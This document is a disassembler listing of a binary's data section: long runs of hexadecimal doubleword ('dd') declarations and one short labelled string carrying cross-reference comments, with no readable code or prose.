		dd 721C851Dh, 3CA95F03h, 0E875EABh, 0A89E6909h,	0C0AAFB47h
		dd 0A464B63Eh, 11A61E33h, 4008DEB8h, 4207DE4Ch,	5ED057AFh
		dd 0DE81A00h, 3EE5073Ah, 507C400Eh, 1EABC6B4h, 14A82429h
		dd 0D66ABB00h, 120EEAEh, 0C53E057Fh, 4D377EABh,	0F044F828h
		dd 28C41272h, 3C1124A5h, 0EA055FC0h, 28C12A92h,	0A40186C5h
		dd 941C36FDh, 2C0D63Ch,	657C9C0Bh, 0E13C086Ch, 0FDE3A022h
		dd 0D385009Ch, 0EDA0CE3Dh, 30C626DDh, 1F62DE08h, 263EA414h
		dd 0F4C2DF70h, 12BAA42h, 40ADB125h, 48A8FB9Ch, 6C80FE42h
		dd 99ED2A4Eh, 1E4530C0h, 15DF721Dh, 30AB5AFDh, 0D7E2BCCEh
		dd 0E502EF88h, 0BFE88254h, 802C9B3Dh, 0FFCFF0h,	0FBCA0310h
		dd 800C0EB7h, 0F9A34500h, 0A53736E0h, 9F70002Eh, 0F1501668h
		dd 31C0E1C3h, 0C0E4D75Bh, 30452961h, 728D0114h,	7CF29h
		dd 11838A3Bh, 0C048A1C0h, 1E0FD435h, 0CADB03CCh, 0F9B3D59Bh
		dd 23384282h, 0F0CF1854h, 4F7B501Ch, 81C08C08h,	26E2EE49h
		dd 422E7578h, 0BAF75D66h, 0FCB68364h, 0BB290C10h, 1C78DED7h
		dd 0A0147974h, 0A0442452h, 2055AB95h, 1B3109ECh, 7A80300Ch
		dd 82B4813h, 0CE0174A0h, 0C31B8847h, 0CFC0FB03h, 4F4740F9h
		dd 99870303h, 2818C9A4h, 0E891695Bh, 0C0F201ECh, 20F6CB42h
		dd 55398754h, 6A312A6h,	2CD2A8A9h, 4F3D007Ah, 446472EFh
		dd 0F73F2FE1h, 542D8AE4h, 20021812h, 80D0480Fh,	5134D208h
		dd 320830A4h, 4FE62B08h, 0CE4510DFh, 578023A6h,	3260FEh
		dd 0F7812D75h, 499615CBh, 5BD00600h, 9E3E72DAh,	0A44E0EC8h
		dd 0CB600A93h, 0E396E8Fh, 0CFAB3806h, 188DC82h,	8A073668h
		dd 80BF876Dh, 1CB68970h, 0B2DC712h, 9A489DEAh, 502E0C75h
		dd 9B15004Dh, 0E67DA083h, 0E7006293h, 121B2664h, 0BC680h
		dd 5343DBEDh, 3E566FC4h, 0CB5D5200h, 85F45C71h,	420D0049h
		dd 634CAD72h, 7A01BE4Fh, 3C2F7520h, 58F0E483h, 0D897005Ch
		dd 9310A9B2h, 0EC003FD7h, 6D404663h, 14BD7Bh, 413D04Fh
		dd 0DB99735Ch, 0DA633D00h, 0D2EC7D6Bh, 0AAA70018h, 396760F9h
		dd 0A0B08A3Eh, 0D47258F8h, 8E99A60h, 2569E0h, 932BE56Eh
		dd 0F4CAEE9h, 0CF53F500h, 3F0AC4E8h, 37F70354h,	48C32939h
		dd 61A0A880h, 9A3D5900h, 58AEF508h, 0FC690030h,	0E9338CE7h
		dd 430096C1h, 5504D64Ah, 5082C5h, 8A95D4B9h, 7249EC6Ah
		dd 3773F900h, 1D3AF0DAh, 32F0A8CAh, 0B3940264h,	0CD5F0EBDh
		dd 0D8240449h, 853AF677h, 0B84B006Eh, 978E93A7h, 208A001Fh
		dd 0A45EF828h, 7D060170h, 4EBFF63Dh, 0B5510C51h, 1B11A9BAh
		dd 0A65A1400h, 98CA585h, 0A39B01E2h, 0A9BD5FD5h, 0A742FC55h
		dd 432B39CFh, 0E1CBA518h, 70FC7640h, 0FF370016h, 9D8B4548h
		dd 3AFC5F46h, 8A002DE8h, 0F4248985h, 30F78C0Ah,	0E048A56Ch
		dd 961E0352h, 7EC13F9Dh, 355173C8h, 0BB88D880h,	3C47F13h
		dd 56A67600h, 1A244E63h, 7811C60Ch, 0FA004999h,	2B0545C8h
		dd 714486h, 0F1D5685Ah,	6B083D5Eh, 5F04A1FEh, 9522DF18h
		dd 0BB637C90h, 6CE40376h, 891D45B9h, 0B5C11800h, 0B0CEE1BDh
		dd 81F200CBh, 87A4204Fh, 5558C263h, 99BD0060h, 6DBEBC37h
		dd 0A3DA075Eh, 0A0E156E3h, 68BFC706h, 0CEA1900h, 97CFCA8h
		dd 0B5AA0F79h, 8AA30FACh, 4B900142h, 371CEBD0h,	1899865Eh
		dd 2F084D28h, 843FB344h, 31BAC610h, 0B25F7108h,	454D4104h
		dd 0CE424308h, 6F252266h, 0B9BB4A00h, 93141DE4h, 5A0D8058h
		dd 2DCE4481h, 25E81900h, 0EAABF45Bh, 7F120575h,	0C0AC7E62h
		dd 0FB1A8995h, 0A6A1010Fh, 694280BDh, 0AD7F3Eh,	0BF3EEB0h
		dd 0DC6D4C54h, 0E87B9600h, 101FC963h, 28040038h, 0B04A8526h
		dd 0B200DBC2h, 0DD58EC4Fh, 22BA50h, 13613981h, 7BC4B4E4h
		dd 80DFC73Bh, 239254EAh, 0E0D9C6Eh, 43032193h, 27CE6C60h
		dd 0AF00E539h, 37D3F75Eh, 0E4B1A7E0h, 0CC7E0BB6h, 2B80C5BFh
		dd 5A69BB85h, 6C630400h, 4E0523C0h, 86310072h, 0E66122E1h
		dd 0F600B3CCh, 49A8027Fh, 0EEF094B5h, 3EC700CAh, 5AAD70DBh
		dd 0D70066AEh, 84F98999h, 7F59ABBh, 66D4B4Dh, 85ABE04Fh
		dd 7B1FD015h, 56400118h, 412DA4F3h, 1FC33F42h, 2A985000h
		dd 0E2174CABh, 0F2E0DB60h, 6A8D01h, 65917110h, 0EE6B2A4h
		dd 0E3FC620Ch, 0A570C3h, 4058907Bh, 226D4A63h, 2AFF6004h
		dd 640207DEh, 28002ED2h, 0E05D5936h, 45010347h,	7FABCC53h
		dd 109D7688h, 0EDDBC000h, 9C724CD8h, 8010DDE5h,	0FA563A7Ch
		dd 0EB00C19Dh, 64CA0824h, 1D099F8h, 0D6498641h,	803183F9h
		dd 5E6156C8h, 0E91B6B8h, 1BA6886Bh, 0C563A520h,	4D007205h
		dd 87293E43h, 0CAF91Dh,	9250C646h, 45D0CDAFh, 833DFD00h
		dd 0E75FFE2Eh, 14D40B39h, 70000372h, 91D09EE9h,	0F8602807h
		dd 0E13095BCh, 0B891A97h, 36DD4AB3h, 8DD3AB00h,	0AC5805DCh
		dd 8B603C7Fh, 83F08646h, 0ED9A31D9h, 290881FFh,	8842F42Ah
		dd 0C8B82800h, 433F81A3h, 0A6D1072Bh, 3027D5C6h, 0DC33738Eh
		dd 0F1E4E800h, 0BEBFA34Dh, 776A0147h, 0C7823667h, 0A22870C5h
		dd 1CD76B07h, 98F0E680h, 73F22703h, 0C31507F5h,	40931DCCh
		dd 9A8E16C9h, 3A0085E0h, 98BCB3E9h, 75326D94h, 3C221EABh
		dd 0CC8C80ACh, 867ED0C8h, 6EC21100h, 624CB2C5h,	0B8470368h
		dd 72BDE379h, 1D049E88h, 0DE885B00h, 0F2B60382h, 7A3C00D5h
		dd 734C57FBh, 0AB00C115h, 4220C530h, 0E1E09EAh,	13AC11FDh
		dd 0A418420h, 70003DF3h, 0C97E60D4h, 0F453069h,	0EACE3252h
		dd 26BC6E0h, 757B883Ch,	0C1349900h, 0F31EB6E9h,	6F660025h
		dd 4E40E39Fh, 0E0F06990h, 1FC7F800h, 72984945h,	0F2C401E7h
		dd 0DB7D3B2Fh, 0EBF8202Dh, 96D6022Ch, 3F1DC600h, 0E5274A6h
		dd 2513FE4Ch, 406D6181h, 0DBBBDCD4h, 80EE813Fh,	0CE476CF2h
		dd 74B59378h, 2873E9h, 76D0EB1Bh, 30646B46h, 8424BF7Dh
		dd 232890C7h, 0B099412h, 0DA2C6800h, 5AF7BBh, 0EB4847D9h
		dd 77CB3C70h, 0DC0088E8h, 5156CED4h, 1AF263Eh, 12833167h
		dd 0DCDDA3F8h, 0E100669Dh, 7F562F46h, 3D6B6538h, 0B7BCB4CBh
		dd 73F44501h, 2071774Dh, 673CE399h, 0FD0C0028h,	81B7ED12h
		dd 55FB00BDh, 0DC04CFDDh, 9A3AE1F0h, 0E75E2CB2h, 3A6B4B00h
		dd 755B47BDh, 0FCD00025h, 0C221BC12h, 0B7B81A13h, 87B0500h
		dd 0BA43F936h, 2BFC007Fh, 0C27AD39Ch, 921EAB25h, 0D2019D1Dh
		dd 0DCA5DE65h, 907F6C24h, 0A6CA8A0h, 630D0EFAh,	13E0B2B9h
		dd 84557CEBh, 0C42CF40Eh, 4840524Bh, 939CDE53h,	0CD7C0237h
		dd 0D065CC9Bh, 0CA4881C0h, 89982A00h, 0BE0CA872h, 9E3A0022h
		dd 73301BBh, 6300266Fh,	993819F9h, 7BA30E6h, 105AE32h
		dd 0BCA4109Fh, 4B0091A3h, 0D3C882F3h, 4C7DCD9Bh, 0E500E483h
		dd 0DEAB6510h, 0F47EE3EEh, 2445FF00h, 25FDC14h,	804F0019h
		dd 0B0FA916Ah, 7839FEBBh, 0EBD200DAh, 0FCB26C31h, 9E4C2E1Bh
		dd 0A7960066h, 0CD26301Ch, 53200CC0h, 13496F87h, 0F7BFA02h
		dd 0FE078B5Ch, 65AB80E4h, 9A00E323h, 57754448h,	0F8339E13h
		dd 0A1FE39h, 78F48338h,	0E33ED670h, 72679100h, 0AF68A05Ch
		dd 0F3630090h, 5D6AB409h, 0E43F6D1Ch, 0F0E787C2h, 0FB00EF24h
		dd 0B0294FC5h, 0ABDD1D1Dh, 127BFA59h, 5D39F3h, 467D9B8Ch
		dd 9F0062DBh, 2EBA4E13h, 2ACA268h, 0CC5E8F8Ah, 0C0688979h
		dd 800E7EFh, 44F5BF80h,	0ACEAC9h, 2EFF1181h, 0CDF31C29h
		dd 76D30402h, 60061B27h
		dd 0EC0B9C1h, 0A1116DFBh, 6C52FE60h, 467C4A15h,	33BCCD00h
		dd 193A44B1h, 16101237h, 0FED3001Ch, 0C4FF626Ch, 12EE45F8h
		dd 0B759B728h, 0C346E700h, 7AB38274h, 60F2E5C1h, 3CB2DE4h
		dd 0CF623B43h, 0CAC0BDB6h, 7D07E4D7h, 0D0D9C03Eh, 9AB49F40h
		dd 0DF7200FFh, 6849DDABh, 4102D821h, 0F9256B2Ah, 1BD08066h
		dd 672985h, 0A9E1289Eh,	0FEF4F54Dh, 0B138E8F6h,	92958FD8h
		dd 0DC001D70h, 2A1F088Bh, 0F2FCE5D7h, 0F04D0039h, 0DB75BF46h
		dd 5800997Ch, 6D47CE1Ah, 219F274h, 3E95F4FAh, 6DE024E9h
		dd 4900F7C8h, 60DD86DFh, 4D1026h, 0ED81171Dh, 0D2AA4878h
		dd 6D6B6907h, 0C0FE4112h, 0A2A5C197h, 1D8A01E1h, 0C26C6F33h
		dd 0F5AAECABh, 11192F03h, 9914D774h, 0B8E0CAD9h, 5EBB3BE0h
		dd 0F0152500h, 8648EBA0h, 92DDED00h, 6728BDF4h,	65970001h
		dd 0C6522B54h, 0D85C7EBCh, 3BF00C2h, 9618D74h, 6DB90069h
		dd 2906EC20h, 81003EEBh, 53EDB75Eh, 7A07D4h, 0BA5FF4A6h
		dd 6E157FE5h, 0A8CF10DFh, 2650646Fh, 1A7583h, 9E357129h
		dd 0B5EBF038h, 31A45100h, 0E4BC49C1h, 0B8A1FF5h, 0FEEAC3DAh
		dd 96301793h, 0F101387Bh, 0D37BD1h, 0BB78678Eh,	243F71F6h
		dd 5AEE8F1Ch, 0ED08EFC0h, 2C3CA5C2h, 3FDD3E2Dh,	2485C800h
		dd 4D26DA83h, 9FA0A10Bh, 9B45031Fh, 0A4C2F861h,	5A820097h
		dd 1877FE03h, 0BB03E4A8h, 9A728F7Bh, 0F7D4C8FBh, 320400C3h
		dd 2B3FD65h, 700F843h, 6CE4BEA7h, 0FCE07B94h, 98F73E8Ah
		dd 1E3D7800h, 0FD733F63h, 74E1A01Ch, 2D9C4247h,	3A7F43Eh
		dd 9872B70h, 0F882DB5Fh, 719B39h, 88E950D2h, 2E41A043h
		dd 3B350D00h, 1DFEAAACh, 742800A1h, 1182D3E5h, 0C2007550h
		dd 0C6E7154Ah, 2722B21h, 0D9E02A4Eh, 405DA15Ch,	528907h
		dd 61B6E884h, 1533CF18h, 9278CA00h, 726BDFFEh, 83931F3Fh
		dd 941FC03Ah, 0D34C7A64h, 38A74F01h, 7D8BE5CAh,	0EBC79C30h
		dd 3785D8h, 861DDE90h, 12A42005h, 0D00152E6h, 0FE66672Ch
		dd 5BD08FEBh, 0F48370CAh, 6D1B017Ah, 0E7E5310Fh, 33C1C08Dh
		dd 697BC41Fh, 29AD0Eh, 0D5C53993h, 7D7200A7h, 0C491089Fh
		dd 0A4002832h, 5C4A860Dh, 456348h, 5D0393AEh, 0E6F1902Eh
		dd 344E8A03h, 0D8FA7C75h, 7526601h, 0A87E5173h,	2628F09Fh
		dd 30003BFCh, 8A4277Dh,	0CFB2C6h, 0D6F61E1h, 89216A32h
		dd 9E7A6D03h, 0C00BEA76h, 787B48E3h, 85343EFFh,	7A62B400h
		dd 4BB72B3Eh, 0A801E40Fh, 0A78960FCh, 0D50506h,	0EAEE4183h
		dd 16E892DAh, 70C030DCh, 78095634h, 30F7086h, 0C958CC57h
		dd 82A01C01h, 3058B24Dh, 0B89A0515h, 0E000A251h, 0DD387780h
		dd 0A0075047h, 0ADBE016Ch, 0E20DE958h, 0BB17C921h, 3CEA8E60h
		dd 6414E150h, 9D60430Ah, 7757B96h, 0C139186h, 0F430609Dh
		dd 6D70A9DDh, 0BFCB7200h, 0B6638AA8h, 0DAF431h,	18FE0607h
		dd 0AC9C0B21h, 60FA8000h, 0AE67F709h, 0A6BC00CEh, 8F85CB69h
		dd 0E0072B6h, 0C91A18A3h, 3C3789Fh, 89F6B02Dh, 88F0BE28h
		dd 973D8F02h, 0CC0101F2h, 8926F7Ah, 6A37D0h, 3CB8FC15h
		dd 9EC685E3h, 0A9596C01h, 8BD3B998h, 28A534E0h,	0C87E1Fh
		dd 0EDB8C9E9h, 0E2729FECh, 67605800h, 0E524E5Ah, 3D4C0059h
		dd 0EE71F533h, 0F85C5EA5h, 7E851CE6h, 44B89D80h, 3B049AFh
		dd 41FEBF35h, 0B5D86BC9h, 4F00A381h, 900F15ACh,	701E1Fh
		dd 22571248h, 73A58BE3h, 6810C100h, 0EE2F5F9Ch,	2CE500A3h
		dd 75F33E4Fh, 770695B0h, 9033293Ch, 0B74A005Eh,	9FC2F7F4h
		dd 6E038E63h, 7BF55788h, 51BD90D0h, 3AC40737h, 77E2FC46h
		dd 56EB3047h, 62C5BEEh,	800F3C3h, 0A7F5F792h, 0B18000C5h
		dd 0DA694818h, 227471D5h, 0BCA030FEh, 150036B6h, 0E8CE6DA6h
		dd 27C55D2h, 44A7E314h,	67482726h, 3200B316h, 34DC9BACh
		dd 20E6ECh, 545551E1h, 0F517EB6Fh, 8A092701h, 35A6119Fh
		dd 39B70FCh, 0B6DD499Dh, 9EC82142h, 70BF62CAh, 768F00DDh
		dd 0E7A9EF98h, 0A812CC55h, 0DA00D4B6h, 6BF07275h, 0A01301FDh
		dd 6501F227h, 7957208Eh, 6DF11A1Dh, 72B35240h, 16E4D693h
		dd 4B025h, 0D4467F6Fh, 0FF0386B1h, 0E676A971h, 0A594A036h
		dd 0EEC900F6h, 479E54B6h, 0AA008CDDh, 1E3F61EDh, 87B22h
		dd 45893EEFh, 0F41F05D2h, 0B0422E00h, 7E17E5B6h, 119D0706h
		dd 0E0604E63h, 5A404756h, 0F1EC4A00h, 0D6249AA9h, 2D7F2C91h
		dd 0CC8E00A2h, 3EDA89FDh, 5FF63000h, 5A4EB960h,	0B2FF0716h
		dd 6B6704DDh, 0FB4A0180h, 0B30094FCh, 684E5DF1h, 73E12C52h
		dd 0E47B00BAh, 88A950A8h, 37019CB5h, 594AC1A3h,	5C20339Bh
		dd 487D0026h, 1BCA4E62h, 0E0003C36h, 0F4D30732h, 343F98Dh
		dd 0ADE52A12h, 1CF0853Fh, 1400C8FEh, 8A572D48h,	0F341F5h
		dd 5B5628ACh, 4A84929Eh, 1D6C2E00h, 4C02B8CFh, 41550040h
		dd 1ED4B1ADh, 100C3AEFh, 70A77DA8h, 16E0098h, 0E270E4D1h
		dd 7F1C2C1Eh, 6386F228h, 0F5082C1h, 0EB161D01h,	807D6465h
		dd 6C54EF1h, 842B4238h,	204C7F8Dh, 0F1A53080h, 37DA00D0h
		dd 0CF5136DEh, 5F0089D9h, 28127DF5h, 74993F54h,	0AC6C0031h
		dd 84B23F4h, 1700DC58h,	0F3A02E07h, 0E87BFFh, 0A27DE06Ch
		dd 0F874EE0Eh, 65309D00h, 103699D4h, 0DEFB0113h, 0A7CA1A7Bh
		dd 80CC45FDh, 33AB839Ah, 0B2018DF4h, 0F48FE389h, 73F871EEh
		dd 59148C2h, 841E3500h,	0E43D1ABFh, 83EE0F3Ch, 0CDE2F985h
		dd 1BDEE099h, 0CBE500BEh, 7F234B15h, 0B000BD86h, 3AB5A027h
		dd 6B51FAh, 9158CEF2h, 8B7FDEEBh, 9DC63Bh, 61BF565Ah, 7DBDF235h
		dd 0DEEA014Ah, 0EC93A821h, 0FD8EEC31h, 0A4869600h, 0B0E53F9Eh
		dd 8878C0h, 0CF68333Ch,	7987AEE6h, 0AD0090E2h, 0E341EC15h
		dd 84BD31h, 0C719D65Ch,	1C52ABCDh, 6143Fh, 0EDF02A7Bh
		dd 1096E10h, 0F3CBB8E4h, 0DCA4FCAEh, 8032349h, 0D0205E3Dh
		dd 0A1EE81E8h, 0E1C95C30h, 0FC1812F0h, 39C800CBh, 23CA28A0h
		dd 73003E2Ah, 30AD2F3Bh, 92989Bh, 11DDB812h, 0D429BF5Bh
		dd 8FFD3400h, 45C07C5Ch, 0ECB4A18Ah, 6210CCh, 0F984FC98h
		dd 11E1BC2Ah, 73639E1Eh, 5E8275C0h, 0B08B686Ch,	285A07D0h
		dd 0C0028E1Ch, 4D79849h, 1D9A4103h, 0F03612D6h,	199B3F9h
		dd 892AD96Fh, 0E4B4DD07h, 2200BA59h, 43CFD0BBh,	319CAC3h
		dd 5D80A1F3h, 6788AE29h, 70033891h, 36ED4F2h, 4AC3901Eh
		dd 0FA4E0009h, 7B012F44h, 625894DBh, 6ED6032Eh,	0DB896326h
		dd 1DE898ACh, 0C05C07FAh, 0D07A987Fh, 8542F2CAh, 84339F00h
		dd 40FC0B3Bh, 0A92B00BFh, 79CEE520h, 3E1E2717h,	99DDA722h
		dd 0CC49063Ch, 0D01690h, 2567CF83h, 2AAF06DCh, 91AA4B00h
		dd 240BB503h, 11200053h, 25524F18h, 6C0F8C8Eh, 61ABC474h
		dd 0C2099D8Fh, 0A6A4B03Eh, 0DF783C00h, 950CC7F3h, 176401CBh
		dd 0E8E18387h, 26B07F73h, 94390035h, 14516D2Eh,	0E500C4FBh
		dd 0A57E824h, 0D51D98h,	0EBB16465h, 926C55BEh, 6D90DDFEh
		dd 32ED4707h, 57522B67h, 0C448607Dh, 911300FFh,	4DBCEBA9h
		dd 930046DEh, 33ED7928h, 3EC8A1C5h, 6C805F0Fh, 86EC45CEh
		dd 7F00F6CCh, 89233D2Bh, 398A23Eh, 481FF942h, 17993B38h
		dd 3FF2F346h, 0B4D70C0h, 9F9E4000h, 0EE1C4B8Bh,	1468001Ah
		dd 3FB2A00Eh, 0EF009931h, 62F0F941h, 289EB7DFh,	37E6880Ch
		dd 30A01276h, 7C4F38DBh, 8CFF3B00h, 0E84C1CF6h,	865035Bh
		dd 0B320015Dh
		dd 1FAAB680h, 404BC11Dh, 0F4819D40h, 32A886Bh, 9AD233D5h
		dd 0E4C8D1EBh, 0AC002ECEh, 37D7BD48h, 77CE1D3h,	0AAA795CBh
		dd 2C46F0C8h, 0E7007156h, 225AAF8Bh, 6554C3h, 760C9C6Dh
		dd 0D12BB810h, 0F20071E0h, 0BE780514h, 949D1Fh,	26C59690h
		dd 8AC1FA11h, 4EB3F000h, 0D0D5ED38h, 0F46E2C97h, 0FEE20065h
		dd 60313301h, 322B770Ah, 2D00ECD6h, 9312CA6Bh, 9B6E0087h
		dd 0D70DC26Fh, 0B4005AC9h, 4060B3D0h, 98FC6B3Fh, 8055397Fh
		dd 0C766A800h, 31BC987Ch, 2B6E3700h, 3B701C97h,	0F672004Dh
		dd 6143D82Ch, 35FE7885h, 9A4E4F00h, 1F215D1Ah, 4ADB0198h
		dd 0AFB4F934h, 75DCDCCBh, 0B29C9100h, 0C2F430BAh, 0A079002Fh
		dd 0BE6425EEh, 9A0065A5h, 0E9057E07h, 3E4D2C48h, 0FE800AB7h
		dd 5F321182h, 790057B3h, 1EE79226h, 55074CDh, 8A161762h
		dd 8B86809Bh, 881FEFD9h, 2B5D0510h, 856FE780h, 0DE75F0h
		dd 0F5074A14h, 3D9F4469h, 512D5B1Fh, 0AA852444h, 0B5A180FBh
		dd 0E87CE645h, 21DDF900h, 0DB0CAF25h, 0A66A0369h, 1E317BC9h
		dd 0B0E6CB88h, 0EA10AE00h, 0ECFCD8A9h, 97EB0567h, 0C03B79A8h
		dd 538772ACh, 0DEACE301h, 0C0773863h, 4B6540EAh, 2BFA14FBh
		dd 0F205A07Fh, 0C0BFB351h, 5963C3A7h, 5DDDC801h, 6CFAC406h
		dd 2E5E70h, 0BF9EFB5Eh,	55EBAA2Ah, 0DD42D500h, 98D1A06Eh
		dd 0A3D40078h, 0A5E472ABh, 0E6001AFEh, 0EEB7AEA1h, 3A6AE0h
		dd 589E1D2Ah, 7CFF9068h, 0E998E506h, 0F605B3Fh,	0DAB3DD7Dh
		dd 5004EA9h, 5EF7AE10h,	4FCC500Fh, 0F1F60008h, 18D17996h
		dd 988EDC94h, 9009995h,	0B07114FBh, 1729D91h, 0F9253BD4h
		dd 0E1358C5Eh, 16DBCCDDh, 6942FA03h, 0B0DADF7Dh, 0EAF75EFBh
		dd 0E36D1864h, 2D0751FEh, 6E1B00Ch, 728117Dh, 0C9C8FDE2h
		dd 64FA5356h, 80DB10E1h, 0AA9CE131h, 0A0258877h, 1FFCBF64h
		dd 0DC2AABh, 0D8A37E79h, 9500C7EAh, 5E904A18h, 961C54h
		dd 0FEA4934Ch, 8F4525B6h, 0D5BE6000h, 9BB55287h, 7D0E008Ah
		dd 55C5069Dh, 6A004C95h, 0FFD7104Dh, 0CB4741h, 0C8537C86h
		dd 0D1125CF3h, 0EB003E72h, 7E9FC25Bh, 76407BAh,	0FF6BE440h
		dd 17DAC0ACh, 0AE008CC0h, 0C8A06190h, 3C5A23h, 0E85F50D3h
		dd 0E2353875h, 0E9C4F200h, 0DDC7A89h, 0DB303DC1h, 0BD265A80h
		dd 8BDE1C15h, 8350A978h, 84A071D1h, 927059F8h, 170CC30Ah
		dd 4740A0A7h, 7BCC53Ch,	89B0C737h, 0D303D028h, 0FF001F66h
		dd 4C3810C6h, 567FAh, 0F302B0F2h, 756C32C0h, 0D77FD2Eh
		dd 3DB87D03h, 34400AD6h, 94B45D96h, 76B8046Ch, 3143FCA3h
		dd 9C04BE04h, 6F694117h, 95C929E0h, 6F9AD002h, 0C06BC5A1h
		dd 0E259EF84h, 412500A2h, 4F6C20EEh, 0EC001884h, 89D86934h
		dd 0CBA8356h, 8BC3DED7h, 2D00F228h, 0A269477Ch,	0F57246h
		dd 50349E38h, 0D3455D10h, 138F1519h, 67D81720h,	0D91629FFh
		dd 0E548C120h, 0DB0C9Dh, 0FD4F6BE8h, 693A2C88h,	381BA70Ch
		dd 72C86Ah, 0EB8C0CE9h,	6F87F8B8h, 8D501CF0h, 0D300F408h
		dd 5E407099h, 0E07FCD9Dh, 0EF1E0EF2h, 280F60AEh, 0DE970C80h
		dd 24E4AD25h, 0FA0993Ch, 5823C527h, 828E6E60h, 3C1AF3C0h
		dd 3A2BEF00h, 96CE8619h, 0EC28C3C8h, 50A611D3h,	0E2B48F54h
		dd 60591D14h, 0F6AA2CA8h, 465FD600h, 7C3EAEB7h,	2F61C0C3h
		dd 865E43C4h, 0F6B873Ch, 0A2DEBF1h, 688020EDh, 0D479B5CFh
		dd 364385F6h, 0E3B02AB1h, 0D0350120h, 0A60FCC40h, 52101F87h
		dd 4C0A6B0h, 0BCE66AF1h, 0C10E7C84h, 91442441h,	0C041006Fh
		dd 0AC722Dh, 0EA659CC8h, 3711567Eh, 9001E70h, 0A7D9679Eh
		dd 7CD32057h, 2D460025h, 0A2646586h, 0FB78D6A0h, 70481B08h
		dd 85C7ADh, 0EF58D6D8h,	0FC8A147h, 0C7814284h, 46F72082h
		dd 0CCE10010h, 0D64ABD62h, 643EAEECh, 212144F8h, 0C487A281h
		dd 208A20C9h, 4C3235C0h, 0C4EF47E8h, 0F439A878h, 0AA3A6DAEh
		dd 41501119h, 0E279FBA1h, 20D86E39h, 750E0191h,	0A618AE1Bh
		dd 53100F32h, 480A65Ah,	0AD3C5F44h, 42AF7CECh, 73B09476h
		dd 8B232671h, 61FBE219h, 0CB8820B3h, 7915B8E7h,	0B140EFEBh
		dd 204A11BFh, 0B6A78F05h, 0D86078A9h, 0A8C0CA50h, 0E438AD12h
		dd 988FB800h, 909E31B4h, 24F700E0h, 0A255C970h,	510E1023h
		dd 87BBB6F5h, 0A089D1F2h, 0B0EC1A58h, 50370F24h, 0FB09B361h
		dd 0C02054A8h, 0AD7C5806h, 3CDF4485h, 1831080Fh, 0E3F94F27h
		dd 4F60020Fh, 2050180Ch, 593F712Fh, 0E107AA01h,	522C4E7Eh
		dd 0BDFBDE0h, 0EBA179D9h, 714BA080h, 1A006420h,	47EF2868h
		dd 0A7673441h, 51F51D20h, 643DC0DAh, 0FA322254h, 0D908F49h
		dd 5F85A2F0h, 0C040D853h, 7A430E70h, 23953AA2h,	8641B700h
		dd 42693524h, 0CB59D900h, 0E08520B5h, 7087C3Dh,	3B7F43FBh
		dd 4123B69Dh, 0C1A3DE21h, 0F6D73B1Fh, 0DD721D15h, 2C87C396h
		dd 283E611Ah, 0F40B039Ah, 0C01316A4h, 3AA2E99Ch, 0CB9E7719h
		dd 0B6378C91h, 8807EB18h, 1D2C7D4Eh, 0C0E42AC3h, 2964F925h
		dd 8120EABBh, 33870553h, 69211FC6h, 59A2E561h, 906BA9EBh
		dd 0FE4D101Fh, 3DA3D0A7h, 0AF908CBEh, 0FE533FF4h, 33218420h
		dd 0A205D228h, 6E9F97F7h, 0A5714078h, 0B43A8160h, 1F91C7E7h
		dd 0A0FD9510h, 1548A3F5h, 207B3F50h, 0FC99E1h, 3EFDB7h
		dd 2E9C37BAh, 2FF923B3h, 5C3F080Fh, 0A0E1C093h,	70BFA20h
		dd 6D8B7943h, 0B5870909h, 0B435C09Ch, 77512BBh,	7E7F111Eh
		dd 30FDE02h, 0F820B034h, 0FF9B1115h, 1EAEF20Ah,	24415604h
		dd 0AA7C11DAh, 0F9F48187h, 1F103EAFh, 35E06621h, 853174FFh
		dd 413CDA44h, 53E94308h, 0ED6F809h, 0C4370287h,	40BC712Eh
		dd 1D419260h, 3A5D9F08h, 448021D5h, 38A66076h, 0A5FC2D41h
		dd 0CB34F400h, 0CD56E184h, 187060DBh, 0F04E1A2Fh, 511E1C90h
		dd 0C1072BD8h, 208AABA9h, 0A1F67940h, 0B2504245h, 0CCA520C5h
		dd 449096B7h, 0CAD3AE09h, 1C48B87Bh, 0F7C0FECh,	0F4E3222Ah
		dd 0FAE85243h, 930760CCh, 249928DBh, 9BC87980h,	0DCD50BDAh
		dd 80D53967h, 0D642F5B2h, 44722BB2h, 0C9A56220h, 5640041Ch
		dd 7C28CD74h, 55C48841h, 28181033h, 2660E090h, 0F038FC8Eh
		dd 0AD9C3E96h, 0ACE6F800h, 99EE1D6Fh, 0C3A218C0h, 38E7B3F7h
		dd 9F3C3E32h, 1F31267Ch, 0A020211Bh, 8FEF159Bh,	44B7203Fh
		dd 8C83830h, 3C2BBE98h,	404B66F9h, 0D7277605h, 0FA6078AFh
		dd 0A8D88085h, 0E32584FBh, 6E1020AFh, 0FE5E69F0h, 84609B57h
		dd 0E2283482h, 0A210AB0Eh, 0F93F288Bh, 4204B2Ah, 87C8D850h
		dd 60D62B2Ah, 76ABDA80h, 47CD2484h, 0C0DECA6Fh,	11637178h
		dd 0F13E7461h, 0A3072h,	0CF31A8B7h, 8F3C2AE3h, 0E474C187h
		dd 0A0301D84h, 0D41540ADh, 0E240A6A5h, 40C01606h, 0B97DA929h
		dd 9A888F6Fh, 2E3B702Fh, 3FA4F811h, 40B80EF2h, 0BF08A8E8h
		dd 54CAB466h, 40500BF5h, 2308FA7Eh, 1EE43ED0h, 4C0BC2Dh
		dd 3C9EECE7h, 0FD52B27Ch, 3B948120h, 405E84DBh,	80FD4614h
		dd 4FAF93E0h, 8A40A257h, 0C578A076h, 0C87E217Dh, 0A531CA50h
		dd 7C043F20h, 7C39DDECh, 0B781C07Eh, 0D4A0FE08h, 0AB1DE1ECh
		dd 430040D7h, 0E20F5CB6h, 0E30A018Fh, 0A7105032h, 2728413Ah
		dd 38409CB9h, 0BF2CFC00h, 746F45Ch, 40DDB864h, 0A0FFE0D7h
		dd 0A00BD6Fh, 9E96D397h, 6E76EDC3h, 33E851E4h, 0B060FF05h
		dd 69A02021h, 0F739000Fh, 257A32DDh, 94E1C0B2h,	0DC7C95BBh
		dd 0FE2058C2h, 0C39E0763h
		dd 0F806A385h
		db 7Ah
aNU1		db '}î1',0             ; DATA XREF: ___:off_43811Co
					; ___:off_438134o
		dw 0D24Dh
		dd 4898E627h, 78C71CBAh, 0A203B680h, 25681856h,	6B55A843h
		dd 6400E676h, 774CF593h, 0A06DA1h, 0AF865F08h, 0BCE7B4B8h
		dd 9C706B00h, 0C21C8FAAh, 8A080120h, 76FB2DBh, 8880C651h
		dd 15F2BE1h, 843150C0h,	64A0DCh, 0B8A19541h, 0DCECA06h
